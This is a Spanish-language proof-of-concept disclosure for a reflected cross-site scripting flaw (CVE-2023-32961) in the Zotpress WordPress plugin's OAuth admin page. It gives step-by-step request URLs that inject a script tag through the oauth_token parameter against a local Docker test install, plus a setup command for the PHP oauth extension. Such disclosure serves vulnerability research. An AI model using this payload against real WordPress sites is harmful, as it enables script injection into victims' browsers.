Cómo reproducir (PoC)

1. Instale la extensión PHP de oauth para activar la vulnerabilidad. (Esto es opcional en Zotpress)
2. Inicie sesión en zotero.org
3. Se deben cumplir las condiciones para que se ejecute la función get_request_token. (solo la primera vez) Envíe un payload como este: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1
4. Envíe el siguiente payload http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>

Información adicional

• Necesita una cuenta en zotero.org.

• Debe establecer el valor de oauthState en 1 para activarlo. Si el payload anterior no funciona, necesita encontrar una forma de establecer oauthState en 1.

  • Expresión condicional :

    root@kitploit:~

    $_GET['oauth_token'] != $state['request_token_info']['oauth_token']
    

• Es fácil instalar la extensión PHP de oauth:

  • Comando de una línea :

    root@kitploit:~

    sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
    

• Probado en la imagen Docker wordpress:latest.

Vídeo del PoC

https://www.youtube.com/watch?v=5kZ7bNbs_-Q

Referencias

CVE-2023-32961